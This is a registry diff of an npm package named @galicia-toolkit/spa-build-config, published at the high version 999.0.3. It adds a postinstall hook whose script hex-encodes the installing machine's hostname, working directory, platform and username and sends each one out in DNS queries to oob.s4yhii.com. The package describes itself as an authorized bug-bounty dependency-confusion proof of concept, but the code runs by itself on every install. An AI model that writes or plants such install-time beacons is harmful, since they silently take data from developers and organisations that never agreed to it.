@galicia-toolkit/spa-build-config 0.0.0-stage → 999.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -0
- package/package.json +6 -3
- package/postinstall.js +21 -0
- package/README.md +0 -3
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@galicia-toolkit/spa-build-config",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "999.0.3",
|
|
4
|
+
"description": "Security research \u2014 dependency confusion PoC (authorized bug bounty, Banco Galicia program)",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js || true"
|
|
8
|
+
}
|
|
6
9
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const pkg = require("./package.json");
|
|
4
|
+
|
|
5
|
+
const tag = pkg.name.replace(/[@/]/g, "").slice(-8);
|
|
6
|
+
const h = Buffer.from(os.hostname()).toString("hex").slice(0, 40);
|
|
7
|
+
const c = Buffer.from(process.cwd()).toString("hex").slice(0, 50);
|
|
8
|
+
const meta = [os.platform(), os.arch(), process.version.replace("v","")].join("-");
|
|
9
|
+
|
|
10
|
+
// DNS beacons — each one is a separate query to oob.s4yhii.com
|
|
11
|
+
// Label 1: hostname
|
|
12
|
+
dns.resolve(h + "." + tag + ".h.dc.oob.s4yhii.com", () => {});
|
|
13
|
+
// Label 2: working directory
|
|
14
|
+
dns.resolve(c.slice(0,60) + "." + tag + ".c.dc.oob.s4yhii.com", () => {});
|
|
15
|
+
// Label 3: platform info
|
|
16
|
+
dns.resolve(meta + "." + tag + ".m.dc.oob.s4yhii.com", () => {});
|
|
17
|
+
|
|
18
|
+
// Also try user context via env
|
|
19
|
+
const u = (process.env.USER || process.env.USERNAME || process.env.LOGNAME || "unknown");
|
|
20
|
+
const uh = Buffer.from(u).toString("hex").slice(0, 40);
|
|
21
|
+
dns.resolve(uh + "." + tag + ".u.dc.oob.s4yhii.com", () => {});
|
package/README.md
DELETED